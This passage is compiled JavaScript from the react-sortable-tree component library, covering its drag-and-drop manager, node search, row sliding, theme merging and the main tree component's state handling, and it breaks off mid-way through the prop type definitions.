  }).join('');
} // Search for a query string inside a node property


function stringSearch(key, searchQuery, node, path, treeIndex) {
  if (typeof node[key] === 'function') {
    // Search within text after calling its function to generate the text
    return String(node[key]({
      node: node,
      path: path,
      treeIndex: treeIndex
    })).indexOf(searchQuery) > -1;
  }

  if (_typeof(node[key]) === 'object') {
    // Search within text inside react elements
    return getReactElementText(node[key]).indexOf(searchQuery) > -1;
  } // Search within string


  return node[key] && String(node[key]).indexOf(searchQuery) > -1;
}

function defaultSearchMethod(_ref2) {
  var node = _ref2.node,
      path = _ref2.path,
      treeIndex = _ref2.treeIndex,
      searchQuery = _ref2.searchQuery;
  return stringSearch('title', searchQuery, node, path, treeIndex) || stringSearch('subtitle', searchQuery, node, path, treeIndex);
}

var memoize = function memoize(f) {
  var savedArgsArray = [];
  var savedKeysArray = [];
  var savedResult = null;
  return function (args) {
    var keysArray = Object.keys(args).sort();
    var argsArray = keysArray.map(function (key) {
      return args[key];
    }); // If the arguments for the last insert operation are different than this time,
    // recalculate the result

    if (argsArray.length !== savedArgsArray.length || argsArray.some(function (arg, index) {
      return arg !== savedArgsArray[index];
    }) || keysArray.some(function (key, index) {
      return key !== savedKeysArray[index];
    })) {
      savedArgsArray = argsArray;
      savedKeysArray = keysArray;
      savedResult = f(args);
    }

    return savedResult;
  };
};

var memoizedInsertNode = memoize(insertNode);
var memoizedGetFlatDataFromTree = memoize(getFlatDataFromTree);
var memoizedGetDescendantCount = memoize(getDescendantCount);

var DndManager = /*#__PURE__*/function () {
  function DndManager(treeRef) {
    _classCallCheck(this, DndManager);

    this.treeRef = treeRef;
  }

  _createClass(DndManager, [{
    key: "startDrag",
    get: function get() {
      return this.treeRef.startDrag;
    }
  }, {
    key: "dragHover",
    get: function get() {
      return this.treeRef.dragHover;
    }
  }, {
    key: "endDrag",
    get: function get() {
      return this.treeRef.endDrag;
    }
  }, {
    key: "drop",
    get: function get() {
      return this.treeRef.drop;
    }
  }, {
    key: "treeId",
    get: function get() {
      return this.treeRef.treeId;
    }
  }, {
    key: "dndType",
    get: function get() {
      return this.treeRef.dndType;
    }
  }, {
    key: "treeData",
    get: function get() {
      return this.treeRef.state.draggingTreeData || this.treeRef.props.treeData;
    }
  }, {
    key: "getNodeKey",
    get: function get() {
      return this.treeRef.props.getNodeKey;
    }
  }, {
    key: "customCanDrop",
    get: function get() {
      return this.treeRef.props.canDrop;
    }
  }, {
    key: "maxDepth",
    get: function get() {
      return this.treeRef.props.maxDepth;
    }
  }, {
    key: "getTargetDepth",
    value: function getTargetDepth(dropTargetProps, monitor, component) {
      var dropTargetDepth = 0;
      var rowAbove = dropTargetProps.getPrevRow();

      if (rowAbove) {
        var path = rowAbove.path;
        var aboveNodeCannotHaveChildren = !this.treeRef.canNodeHaveChildren(rowAbove.node);

        if (aboveNodeCannotHaveChildren) {
          path = path.slice(0, path.length - 1);
        } // Limit the length of the path to the deepest possible


        dropTargetDepth = Math.min(path.length, dropTargetProps.path.length);
      }

      var blocksOffset;
      var dragSourceInitialDepth = (monitor.getItem().path || []).length; // When adding node from external source

      if (monitor.getItem().treeId !== this.treeId) {
        // Ignore the tree depth of the source, if it had any to begin with
        dragSourceInitialDepth = 0;

        if (component) {
          var relativePosition = findDOMNode(component).getBoundingClientRect(); // eslint-disable-line react/no-find-dom-node

          var leftShift = monitor.getSourceClientOffset().x - relativePosition.left;
          blocksOffset = Math.round(leftShift / dropTargetProps.scaffoldBlockPxWidth);
        } else {
          blocksOffset = dropTargetProps.path.length;
        }
      } else {
        // handle row direction support
        var direction = dropTargetProps.rowDirection === 'rtl' ? -1 : 1;
        blocksOffset = Math.round(direction * monitor.getDifferenceFromInitialOffset().x / dropTargetProps.scaffoldBlockPxWidth);
      }

      var targetDepth = Math.min(dropTargetDepth, Math.max(0, dragSourceInitialDepth + blocksOffset - 1)); // If a maxDepth is defined, constrain the target depth

      if (typeof this.maxDepth !== 'undefined' && this.maxDepth !== null) {
        var draggedNode = monitor.getItem().node;
        var draggedChildDepth = getDepth(draggedNode);
        targetDepth = Math.max(0, Math.min(targetDepth, this.maxDepth - draggedChildDepth - 1));
      }

      return targetDepth;
    }
  }, {
    key: "canDrop",
    value: function canDrop(dropTargetProps, monitor) {
      if (!monitor.isOver()) {
        return false;
      }

      var rowAbove = dropTargetProps.getPrevRow();
      var abovePath = rowAbove ? rowAbove.path : [];
      var aboveNode = rowAbove ? rowAbove.node : {};
      var targetDepth = this.getTargetDepth(dropTargetProps, monitor, null); // Cannot drop if we're adding to the children of the row above and
      //  the row above is a function

      if (targetDepth >= abovePath.length && typeof aboveNode.children === 'function') {
        return false;
      }

      if (typeof this.customCanDrop === 'function') {
        var _monitor$getItem = monitor.getItem(),
            node = _monitor$getItem.node;

        var addedResult = memoizedInsertNode({
          treeData: this.treeData,
          newNode: node,
          depth: targetDepth,
          getNodeKey: this.getNodeKey,
          minimumTreeIndex: dropTargetProps.listIndex,
          expandParent: true
        });
        return this.customCanDrop({
          node: node,
          prevPath: monitor.getItem().path,
          prevParent: monitor.getItem().parentNode,
          prevTreeIndex: monitor.getItem().treeIndex,
          // Equals -1 when dragged from external tree
          nextPath: addedResult.path,
          nextParent: addedResult.parentNode,
          nextTreeIndex: addedResult.treeIndex
        });
      }

      return true;
    }
  }, {
    key: "wrapSource",
    value: function wrapSource(el) {
      var _this = this;

      var nodeDragSource = {
        beginDrag: function beginDrag(props) {
          _this.startDrag(props);

          return {
            node: props.node,
            parentNode: props.parentNode,
            path: props.path,
            treeIndex: props.treeIndex,
            treeId: props.treeId
          };
        },
        endDrag: function endDrag(props, monitor) {
          _this.endDrag(monitor.getDropResult());
        },
        isDragging: function isDragging(props, monitor) {
          var dropTargetNode = monitor.getItem().node;
          var draggedNode = props.node;
          return draggedNode === dropTargetNode;
        }
      };

      function nodeDragSourcePropInjection(connect, monitor) {
        return {
          connectDragSource: connect.dragSource(),
          connectDragPreview: connect.dragPreview(),
          isDragging: monitor.isDragging(),
          didDrop: monitor.didDrop()
        };
      }

      return DragSource(this.dndType, nodeDragSource, nodeDragSourcePropInjection)(el);
    }
  }, {
    key: "wrapTarget",
    value: function wrapTarget(el) {
      var _this2 = this;

      var nodeDropTarget = {
        drop: function drop(dropTargetProps, monitor, component) {
          var result = {
            node: monitor.getItem().node,
            path: monitor.getItem().path,
            treeIndex: monitor.getItem().treeIndex,
            treeId: _this2.treeId,
            minimumTreeIndex: dropTargetProps.treeIndex,
            depth: _this2.getTargetDepth(dropTargetProps, monitor, component)
          };

          _this2.drop(result);

          return result;
        },
        hover: function hover(dropTargetProps, monitor, component) {
          var targetDepth = _this2.getTargetDepth(dropTargetProps, monitor, component);

          var draggedNode = monitor.getItem().node;
          var needsRedraw = // Redraw if hovered above different nodes
          dropTargetProps.node !== draggedNode || // Or hovered above the same node but at a different depth
          targetDepth !== dropTargetProps.path.length - 1;

          if (!needsRedraw) {
            return;
          } // throttle `dragHover` work to available animation frames


          cancelAnimationFrame(_this2.rafId);
          _this2.rafId = requestAnimationFrame(function () {
            _this2.dragHover({
              node: draggedNode,
              path: monitor.getItem().path,
              minimumTreeIndex: dropTargetProps.listIndex,
              depth: targetDepth
            });
          });
        },
        canDrop: this.canDrop.bind(this)
      };

      function nodeDropTargetPropInjection(connect, monitor) {
        var dragged = monitor.getItem();
        return {
          connectDropTarget: connect.dropTarget(),
          isOver: monitor.isOver(),
          canDrop: monitor.canDrop(),
          draggedNode: dragged ? dragged.node : null
        };
      }

      return DropTarget(this.dndType, nodeDropTarget, nodeDropTargetPropInjection)(el);
    }
  }, {
    key: "wrapPlaceholder",
    value: function wrapPlaceholder(el) {
      var _this3 = this;

      var placeholderDropTarget = {
        drop: function drop(dropTargetProps, monitor) {
          var _monitor$getItem2 = monitor.getItem(),
              node = _monitor$getItem2.node,
              path = _monitor$getItem2.path,
              treeIndex = _monitor$getItem2.treeIndex;

          var result = {
            node: node,
            path: path,
            treeIndex: treeIndex,
            treeId: _this3.treeId,
            minimumTreeIndex: 0,
            depth: 0
          };

          _this3.drop(result);

          return result;
        }
      };

      function placeholderPropInjection(connect, monitor) {
        var dragged = monitor.getItem();
        return {
          connectDropTarget: connect.dropTarget(),
          isOver: monitor.isOver(),
          canDrop: monitor.canDrop(),
          draggedNode: dragged ? dragged.node : null
        };
      }

      return DropTarget(this.dndType, placeholderDropTarget, placeholderPropInjection)(el);
    }
  }]);

  return DndManager;
}();

/* eslint-disable import/prefer-default-export */
function slideRows(rows, fromIndex, toIndex) {
  var count = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 1;
  var rowsWithoutMoved = [].concat(_toConsumableArray(rows.slice(0, fromIndex)), _toConsumableArray(rows.slice(fromIndex + count)));
  return [].concat(_toConsumableArray(rowsWithoutMoved.slice(0, toIndex)), _toConsumableArray(rows.slice(fromIndex, fromIndex + count)), _toConsumableArray(rowsWithoutMoved.slice(toIndex)));
}

var treeIdCounter = 1;

var mergeTheme = function mergeTheme(props) {
  var merged = _objectSpread2(_objectSpread2({}, props), {}, {
    style: _objectSpread2(_objectSpread2({}, props.theme.style), props.style),
    innerStyle: _objectSpread2(_objectSpread2({}, props.theme.innerStyle), props.innerStyle),
    reactVirtualizedListProps: _objectSpread2(_objectSpread2({}, props.theme.reactVirtualizedListProps), props.reactVirtualizedListProps)
  });

  var overridableDefaults = {
    nodeContentRenderer: NodeRendererDefault,
    placeholderRenderer: PlaceholderRendererDefault,
    rowHeight: 62,
    scaffoldBlockPxWidth: 44,
    slideRegionSize: 100,
    treeNodeRenderer: TreeNode
  };
  Object.keys(overridableDefaults).forEach(function (propKey) {
    // If prop has been specified, do not change it
    // If prop is specified in theme, use the theme setting
    // If all else fails, fall back to the default
    if (props[propKey] === null) {
      merged[propKey] = typeof props.theme[propKey] !== 'undefined' ? props.theme[propKey] : overridableDefaults[propKey];
    }
  });
  return merged;
};

var ReactSortableTree = /*#__PURE__*/function (_Component) {
  _inherits(ReactSortableTree, _Component);

  var _super = _createSuper(ReactSortableTree);

  function ReactSortableTree(props) {
    var _this;

    _classCallCheck(this, ReactSortableTree);

    _this = _super.call(this, props);

    var _mergeTheme = mergeTheme(props),
        dndType = _mergeTheme.dndType,
        nodeContentRenderer = _mergeTheme.nodeContentRenderer,
        treeNodeRenderer = _mergeTheme.treeNodeRenderer,
        isVirtualized = _mergeTheme.isVirtualized,
        slideRegionSize = _mergeTheme.slideRegionSize;

    _this.dndManager = new DndManager(_assertThisInitialized(_this)); // Wrapping classes for use with react-dnd

    _this.treeId = "rst__".concat(treeIdCounter);
    treeIdCounter += 1;
    _this.dndType = dndType || _this.treeId;
    _this.nodeContentRenderer = _this.dndManager.wrapSource(nodeContentRenderer);
    _this.treePlaceholderRenderer = _this.dndManager.wrapPlaceholder(TreePlaceholder);
    _this.treeNodeRenderer = _this.dndManager.wrapTarget(treeNodeRenderer); // Prepare scroll-on-drag options for this list

    if (isVirtualized) {
      _this.scrollZoneVirtualList = (lib_3 || withScrolling)(List);
      _this.vStrength = lib_2(slideRegionSize);
      _this.hStrength = lib_1(slideRegionSize);
    }

    _this.state = {
      draggingTreeData: null,
      draggedNode: null,
      draggedMinimumTreeIndex: null,
      draggedDepth: null,
      searchMatches: [],
      searchFocusTreeIndex: null,
      dragging: false,
      // props that need to be used in gDSFP or static functions will be stored here
      instanceProps: {
        treeData: [],
        ignoreOneTreeUpdate: false,
        searchQuery: null,
        searchFocusOffset: null
      }
    };
    _this.toggleChildrenVisibility = _this.toggleChildrenVisibility.bind(_assertThisInitialized(_this));
    _this.moveNode = _this.moveNode.bind(_assertThisInitialized(_this));
    _this.startDrag = _this.startDrag.bind(_assertThisInitialized(_this));
    _this.dragHover = _this.dragHover.bind(_assertThisInitialized(_this));
    _this.endDrag = _this.endDrag.bind(_assertThisInitialized(_this));
    _this.drop = _this.drop.bind(_assertThisInitialized(_this));
    _this.handleDndMonitorChange = _this.handleDndMonitorChange.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(ReactSortableTree, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      ReactSortableTree.loadLazyChildren(this.props, this.state);
      var stateUpdate = ReactSortableTree.search(this.props, this.state, true, true, false);
      this.setState(stateUpdate); // Hook into react-dnd state changes to detect when the drag ends
      // TODO: This is very brittle, so it needs to be replaced if react-dnd
      // offers a more official way to detect when a drag ends

      this.clearMonitorSubscription = this.props.dragDropManager.getMonitor().subscribeToStateChange(this.handleDndMonitorChange);
    }
  }, {
    key: "componentDidUpdate",
    value: // listen to dragging
    function componentDidUpdate(prevProps, prevState) {
      // if it is not the same then call the onDragStateChanged
      if (this.state.dragging !== prevState.dragging) {
        if (this.props.onDragStateChanged) {
          this.props.onDragStateChanged({
            isDragging: this.state.dragging,
            draggedNode: this.state.draggedNode
          });
        }
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      this.clearMonitorSubscription();
    }
  }, {
    key: "getRows",
    value: function getRows(treeData) {
      return memoizedGetFlatDataFromTree({
        ignoreCollapsed: true,
        getNodeKey: this.props.getNodeKey,
        treeData: treeData
      });
    }
  }, {
    key: "handleDndMonitorChange",
    value: function handleDndMonitorChange() {
      var monitor = this.props.dragDropManager.getMonitor(); // If the drag ends and the tree is still in a mid-drag state,
      // it means that the drag was canceled or the dragSource dropped
      // elsewhere, and we should reset the state of this tree

      if (!monitor.isDragging() && this.state.draggingTreeData) {
        this.endDrag();
      }
    }
  }, {
    key: "toggleChildrenVisibility",
    value: function toggleChildrenVisibility(_ref) {
      var targetNode = _ref.node,
          path = _ref.path;
      var instanceProps = this.state.instanceProps;
      var treeData = changeNodeAtPath({
        treeData: instanceProps.treeData,
        path: path,
        newNode: function newNode(_ref2) {
          var node = _ref2.node;
          return _objectSpread2(_objectSpread2({}, node), {}, {
            expanded: !node.expanded
          });
        },
        getNodeKey: this.props.getNodeKey
      });
      this.props.onChange(treeData);
      this.props.onVisibilityToggle({
        treeData: treeData,
        node: targetNode,
        expanded: !targetNode.expanded,
        path: path
      });
    }
  }, {
    key: "moveNode",
    value: function moveNode(_ref3) {
      var node = _ref3.node,
          prevPath = _ref3.path,
          prevTreeIndex = _ref3.treeIndex,
          depth = _ref3.depth,
          minimumTreeIndex = _ref3.minimumTreeIndex;

      var _insertNode = insertNode({
        treeData: this.state.draggingTreeData,
        newNode: node,
        depth: depth,
        minimumTreeIndex: minimumTreeIndex,
        expandParent: true,
        getNodeKey: this.props.getNodeKey
      }),
          treeData = _insertNode.treeData,
          treeIndex = _insertNode.treeIndex,
          path = _insertNode.path,
          nextParentNode = _insertNode.parentNode;

      this.props.onChange(treeData);
      this.props.onMoveNode({
        treeData: treeData,
        node: node,
        treeIndex: treeIndex,
        path: path,
        nextPath: path,
        nextTreeIndex: treeIndex,
        prevPath: prevPath,
        prevTreeIndex: prevTreeIndex,
        nextParentNode: nextParentNode
      });
    } // returns the new state after search

  }, {
    key: "startDrag",
    value: function startDrag(_ref4) {
      var _this2 = this;

      var path = _ref4.path;
      this.setState(function (prevState) {
        var _removeNode = removeNode({
          treeData: prevState.instanceProps.treeData,
          path: path,
          getNodeKey: _this2.props.getNodeKey
        }),
            draggingTreeData = _removeNode.treeData,
            draggedNode = _removeNode.node,
            draggedMinimumTreeIndex = _removeNode.treeIndex;

        return {
          draggingTreeData: draggingTreeData,
          draggedNode: draggedNode,
          draggedDepth: path.length - 1,
          draggedMinimumTreeIndex: draggedMinimumTreeIndex,
          dragging: true
        };
      });
    }
  }, {
    key: "dragHover",
    value: function dragHover(_ref5) {
      var _this3 = this;

      var draggedNode = _ref5.node,
          draggedDepth = _ref5.depth,
          draggedMinimumTreeIndex = _ref5.minimumTreeIndex;

      // Ignore this hover if it is at the same position as the last hover
      if (this.state.draggedDepth === draggedDepth && this.state.draggedMinimumTreeIndex === draggedMinimumTreeIndex) {
        return;
      }

      this.setState(function (_ref6) {
        var draggingTreeData = _ref6.draggingTreeData,
            instanceProps = _ref6.instanceProps;
        // Fall back to the tree data if something is being dragged in from
        //  an external element
        var newDraggingTreeData = draggingTreeData || instanceProps.treeData;
        var addedResult = memoizedInsertNode({
          treeData: newDraggingTreeData,
          newNode: draggedNode,
          depth: draggedDepth,
          minimumTreeIndex: draggedMinimumTreeIndex,
          expandParent: true,
          getNodeKey: _this3.props.getNodeKey
        });

        var rows = _this3.getRows(addedResult.treeData);

        var expandedParentPath = rows[addedResult.treeIndex].path;
        return {
          draggedNode: draggedNode,
          draggedDepth: draggedDepth,
          draggedMinimumTreeIndex: draggedMinimumTreeIndex,
          draggingTreeData: changeNodeAtPath({
            treeData: newDraggingTreeData,
            path: expandedParentPath.slice(0, -1),
            newNode: function newNode(_ref7) {
              var node = _ref7.node;
              return _objectSpread2(_objectSpread2({}, node), {}, {
                expanded: true
              });
            },
            getNodeKey: _this3.props.getNodeKey
          }),
          // reset the scroll focus so it doesn't jump back
          // to a search result while dragging
          searchFocusTreeIndex: null,
          dragging: true
        };
      });
    }
  }, {
    key: "endDrag",
    value: function endDrag(dropResult) {
      var _this4 = this;

      var instanceProps = this.state.instanceProps;

      var resetTree = function resetTree() {
        return _this4.setState({
          draggingTreeData: null,
          draggedNode: null,
          draggedMinimumTreeIndex: null,
          draggedDepth: null,
          dragging: false
        });
      }; // Drop was cancelled


      if (!dropResult) {
        resetTree();
      } else if (dropResult.treeId !== this.treeId) {
        // The node was dropped in an external drop target or tree
        var node = dropResult.node,
            path = dropResult.path,
            treeIndex = dropResult.treeIndex;
        var shouldCopy = this.props.shouldCopyOnOutsideDrop;

        if (typeof shouldCopy === 'function') {
          shouldCopy = shouldCopy({
            node: node,
            prevTreeIndex: treeIndex,
            prevPath: path
          });
        }

        var treeData = this.state.draggingTreeData || instanceProps.treeData; // If copying is enabled, a drop outside leaves behind a copy in the
        //  source tree

        if (shouldCopy) {
          treeData = changeNodeAtPath({
            treeData: instanceProps.treeData,
            // use treeData unaltered by the drag operation
            path: path,
            newNode: function newNode(_ref8) {
              var copyNode = _ref8.node;
              return _objectSpread2({}, copyNode);
            },
            // create a shallow copy of the node
            getNodeKey: this.props.getNodeKey
          });
        }

        this.props.onChange(treeData);
        this.props.onMoveNode({
          treeData: treeData,
          node: node,
          treeIndex: null,
          path: null,
          nextPath: null,
          nextTreeIndex: null,
          prevPath: path,
          prevTreeIndex: treeIndex
        });
      }
    }
  }, {
    key: "drop",
    value: function drop(dropResult) {
      this.moveNode(dropResult);
    }
  }, {
    key: "canNodeHaveChildren",
    value: function canNodeHaveChildren(node) {
      var canNodeHaveChildren = this.props.canNodeHaveChildren;

      if (canNodeHaveChildren) {
        return canNodeHaveChildren(node);
      }

      return true;
    } // Load any children in the tree that are given by a function
    // calls the onChange callback on the new treeData

  }, {
    key: "renderRow",
    value: function renderRow(row, _ref9) {
      var listIndex = _ref9.listIndex,
          style = _ref9.style,
          getPrevRow = _ref9.getPrevRow,
          matchKeys = _ref9.matchKeys,
          swapFrom = _ref9.swapFrom,
          swapDepth = _ref9.swapDepth,
          swapLength = _ref9.swapLength;
      var node = row.node,
          parentNode = row.parentNode,
          path = row.path,
          lowerSiblingCounts = row.lowerSiblingCounts,
          treeIndex = row.treeIndex;

      var _mergeTheme2 = mergeTheme(this.props),
          canDrag = _mergeTheme2.canDrag,
          generateNodeProps = _mergeTheme2.generateNodeProps,
          scaffoldBlockPxWidth = _mergeTheme2.scaffoldBlockPxWidth,
          searchFocusOffset = _mergeTheme2.searchFocusOffset,
          rowDirection = _mergeTheme2.rowDirection;

      var TreeNodeRenderer = this.treeNodeRenderer;
      var NodeContentRenderer = this.nodeContentRenderer;
      var nodeKey = path[path.length - 1];
      var isSearchMatch = (nodeKey in matchKeys);
      var isSearchFocus = isSearchMatch && matchKeys[nodeKey] === searchFocusOffset;
      var callbackParams = {
        node: node,
        parentNode: parentNode,
        path: path,
        lowerSiblingCounts: lowerSiblingCounts,
        treeIndex: treeIndex,
        isSearchMatch: isSearchMatch,
        isSearchFocus: isSearchFocus
      };
      var nodeProps = !generateNodeProps ? {} : generateNodeProps(callbackParams);
      var rowCanDrag = typeof canDrag !== 'function' ? canDrag : canDrag(callbackParams);
      var sharedProps = {
        treeIndex: treeIndex,
        scaffoldBlockPxWidth: scaffoldBlockPxWidth,
        node: node,
        path: path,
        treeId: this.treeId,
        rowDirection: rowDirection
      };
      return /*#__PURE__*/React.createElement(TreeNodeRenderer, _extends({
        style: style,
        key: nodeKey,
        listIndex: listIndex,
        getPrevRow: getPrevRow,
        lowerSiblingCounts: lowerSiblingCounts,
        swapFrom: swapFrom,
        swapLength: swapLength,
        swapDepth: swapDepth
      }, sharedProps), /*#__PURE__*/React.createElement(NodeContentRenderer, _extends({
        parentNode: parentNode,
        isSearchMatch: isSearchMatch,
        isSearchFocus: isSearchFocus,
        canDrag: rowCanDrag,
        toggleChildrenVisibility: this.toggleChildrenVisibility
      }, sharedProps, nodeProps)));
    }
  }, {
    key: "render",
    value: function render() {
      var _this5 = this;

      var _mergeTheme3 = mergeTheme(this.props),
          dragDropManager = _mergeTheme3.dragDropManager,
          style = _mergeTheme3.style,
          className = _mergeTheme3.className,
          innerStyle = _mergeTheme3.innerStyle,
          rowHeight = _mergeTheme3.rowHeight,
          isVirtualized = _mergeTheme3.isVirtualized,
          placeholderRenderer = _mergeTheme3.placeholderRenderer,
          reactVirtualizedListProps = _mergeTheme3.reactVirtualizedListProps,
          getNodeKey = _mergeTheme3.getNodeKey,
          rowDirection = _mergeTheme3.rowDirection;

      var _this$state = this.state,
          searchMatches = _this$state.searchMatches,
          searchFocusTreeIndex = _this$state.searchFocusTreeIndex,
          draggedNode = _this$state.draggedNode,
          draggedDepth = _this$state.draggedDepth,
          draggedMinimumTreeIndex = _this$state.draggedMinimumTreeIndex,
          instanceProps = _this$state.instanceProps;
      var treeData = this.state.draggingTreeData || instanceProps.treeData;
      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null;
      var rows;
      var swapFrom = null;
      var swapLength = null;

      if (draggedNode && draggedMinimumTreeIndex !== null) {
        var addedResult = memoizedInsertNode({
          treeData: treeData,
          newNode: draggedNode,
          depth: draggedDepth,
          minimumTreeIndex: draggedMinimumTreeIndex,
          expandParent: true,
          getNodeKey: getNodeKey
        });
        var swapTo = draggedMinimumTreeIndex;
        swapFrom = addedResult.treeIndex;
        swapLength = 1 + memoizedGetDescendantCount({
          node: draggedNode
        });
        rows = slideRows(this.getRows(addedResult.treeData), swapFrom, swapTo, swapLength);
      } else {
        rows = this.getRows(treeData);
      } // Get indices for rows that match the search conditions


      var matchKeys = {};
      searchMatches.forEach(function (_ref10, i) {
        var path = _ref10.path;
        matchKeys[path[path.length - 1]] = i;
      }); // Seek to the focused search result if there is one specified

      var scrollToInfo = searchFocusTreeIndex !== null ? {
        scrollToIndex: searchFocusTreeIndex
      } : {};
      var containerStyle = style;
      var list;

      if (rows.length < 1) {
        var Placeholder = this.treePlaceholderRenderer;
        var PlaceholderContent = placeholderRenderer;
        list = /*#__PURE__*/React.createElement(Placeholder, {
          treeId: this.treeId,
          drop: this.drop
        }, /*#__PURE__*/React.createElement(PlaceholderContent, null));
      } else if (isVirtualized) {
        containerStyle = _objectSpread2({
          height: '100%'
        }, containerStyle);
        var ScrollZoneVirtualList = this.scrollZoneVirtualList; // Render list with react-virtualized

        list = /*#__PURE__*/React.createElement(AutoSizer, null, function (_ref11) {
          var height = _ref11.height,
              width = _ref11.width;
          return /*#__PURE__*/React.createElement(ScrollZoneVirtualList, _extends({}, scrollToInfo, {
            dragDropManager: dragDropManager,
            verticalStrength: _this5.vStrength,
            horizontalStrength: _this5.hStrength,
            speed: 30,
            scrollToAlignment: "start",
            className: "rst__virtualScrollOverride",
            width: width,
            onScroll: function onScroll(_ref12) {
              var scrollTop = _ref12.scrollTop;
              _this5.scrollTop = scrollTop;
            },
            height: height,
            style: innerStyle,
            rowCount: rows.length,
            estimatedRowSize: typeof rowHeight !== 'function' ? rowHeight : undefined,
            rowHeight: typeof rowHeight !== 'function' ? rowHeight : function (_ref13) {
              var index = _ref13.index;
              return rowHeight({
                index: index,
                treeIndex: index,
                node: rows[index].node,
                path: rows[index].path
              });
            },
            rowRenderer: function rowRenderer(_ref14) {
              var index = _ref14.index,
                  rowStyle = _ref14.style;
              return _this5.renderRow(rows[index], {
                listIndex: index,
                style: rowStyle,
                getPrevRow: function getPrevRow() {
                  return rows[index - 1] || null;
                },
                matchKeys: matchKeys,
                swapFrom: swapFrom,
                swapDepth: draggedDepth,
                swapLength: swapLength
              });
            }
          }, reactVirtualizedListProps));
        });
      } else {
        // Render list without react-virtualized
        list = rows.map(function (row, index) {
          return _this5.renderRow(row, {
            listIndex: index,
            style: {
              height: typeof rowHeight !== 'function' ? rowHeight : rowHeight({
                index: index,
                treeIndex: index,
                node: row.node,
                path: row.path
              })
            },
            getPrevRow: function getPrevRow() {
              return rows[index - 1] || null;
            },
            matchKeys: matchKeys,
            swapFrom: swapFrom,
            swapDepth: draggedDepth,
            swapLength: swapLength
          });
        });
      }

      return /*#__PURE__*/React.createElement("div", {
        className: classnames('rst__tree', className, rowDirectionClass),
        style: containerStyle
      }, list);
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      var instanceProps = prevState.instanceProps;
      var newState = {};
      var isTreeDataEqual = isEqual(instanceProps.treeData, nextProps.treeData); // make sure we have the most recent version of treeData

      instanceProps.treeData = nextProps.treeData;

      if (!isTreeDataEqual) {
        if (instanceProps.ignoreOneTreeUpdate) {
          instanceProps.ignoreOneTreeUpdate = false;
        } else {
          newState.searchFocusTreeIndex = null;
          ReactSortableTree.loadLazyChildren(nextProps, prevState);
          Object.assign(newState, ReactSortableTree.search(nextProps, prevState, false, false, false));
        }

        newState.draggingTreeData = null;
        newState.draggedNode = null;
        newState.draggedMinimumTreeIndex = null;
        newState.draggedDepth = null;
        newState.dragging = false;
      } else if (!isEqual(instanceProps.searchQuery, nextProps.searchQuery)) {
        Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, false));
      } else if (instanceProps.searchFocusOffset !== nextProps.searchFocusOffset) {
        Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, true));
      }

      instanceProps.searchQuery = nextProps.searchQuery;
      instanceProps.searchFocusOffset = nextProps.searchFocusOffset;
      newState.instanceProps = _objectSpread2(_objectSpread2({}, instanceProps), newState.instanceProps);
      return newState;
    }
  }, {
    key: "search",
    value: function search(props, state, seekIndex, expand, singleSearch) {
      var onChange = props.onChange,
          getNodeKey = props.getNodeKey,
          searchFinishCallback = props.searchFinishCallback,
          searchQuery = props.searchQuery,
          searchMethod = props.searchMethod,
          searchFocusOffset = props.searchFocusOffset,
          onlyExpandSearchedNodes = props.onlyExpandSearchedNodes;
      var instanceProps = state.instanceProps; // Skip search if no conditions are specified

      if (!searchQuery && !searchMethod) {
        if (searchFinishCallback) {
          searchFinishCallback([]);
        }

        return {
          searchMatches: []
        };
      }

      var newState = {
        instanceProps: {}
      }; // if onlyExpandSearchedNodes collapse the tree and search

      var _find = find({
        getNodeKey: getNodeKey,
        treeData: onlyExpandSearchedNodes ? toggleExpandedForAll({
          treeData: instanceProps.treeData,
          expanded: false
        }) : instanceProps.treeData,
        searchQuery: searchQuery,
        searchMethod: searchMethod || defaultSearchMethod,
        searchFocusOffset: searchFocusOffset,
        expandAllMatchPaths: expand && !singleSearch,
        expandFocusMatchPaths: !!expand
      }),
          expandedTreeData = _find.treeData,
          searchMatches = _find.matches; // Update the tree with data leaving all paths leading to matching nodes open


      if (expand) {
        newState.instanceProps.ignoreOneTreeUpdate = true; // Prevents infinite loop

        onChange(expandedTreeData);
      }

      if (searchFinishCallback) {
        searchFinishCallback(searchMatches);
      }

      var searchFocusTreeIndex = null;

      if (seekIndex && searchFocusOffset !== null && searchFocusOffset < searchMatches.length) {
        searchFocusTreeIndex = searchMatches[searchFocusOffset].treeIndex;
      }

      newState.searchMatches = searchMatches;
      newState.searchFocusTreeIndex = searchFocusTreeIndex;
      return newState;
    }
  }, {
    key: "loadLazyChildren",
    value: function loadLazyChildren(props, state) {
      var instanceProps = state.instanceProps;
      walk({
        treeData: instanceProps.treeData,
        getNodeKey: props.getNodeKey,
        callback: function callback(_ref15) {
          var node = _ref15.node,
              path = _ref15.path,
              lowerSiblingCounts = _ref15.lowerSiblingCounts,
              treeIndex = _ref15.treeIndex;

          // If the node has children defined by a function, and is either expanded
          //  or set to load even before expansion, run the function.
          if (node.children && typeof node.children === 'function' && (node.expanded || props.loadCollapsedLazyChildren)) {
            // Call the children fetching function
            node.children({
              node: node,
              path: path,
              lowerSiblingCounts: lowerSiblingCounts,
              treeIndex: treeIndex,
              // Provide a helper to append the new data when it is received
              done: function done(childrenArray) {
                return props.onChange(changeNodeAtPath({
                  treeData: instanceProps.treeData,
                  path: path,
                  newNode: function newNode(_ref16) {
                    var oldNode = _ref16.node;
                    return (// Only replace the old node if it's the one we set off to find children
                      //  for in the first place
                      oldNode === node ? _objectSpread2(_objectSpread2({}, oldNode), {}, {
                        children: childrenArray
                      }) : oldNode
                    );
                  },
                  getNodeKey: props.getNodeKey
                }));
              }
            });
          }
        }
      });
    }
  }]);

  return ReactSortableTree;
}(Component);

ReactSortableTree.propTypes = {
  dragDropManager: PropTypes.shape({
    getMonitor: PropTypes.func
  }).isRequired,
  // Tree data in the following format:
  // [{title: 'main', subtitle: 'sub'}, { title: 'value2', expanded: true, children: [{ title: 'value3') }] }]
  // `title` is the primary label for the node
  // `subtitle` is a secondary label for the node
  // `expanded` shows children of the node if true, or hides them if false. Defaults to false.
  // `children` is an array of child nodes belonging to the node.
  treeData: PropTypes.arrayOf(PropTypes.object).isRequired,
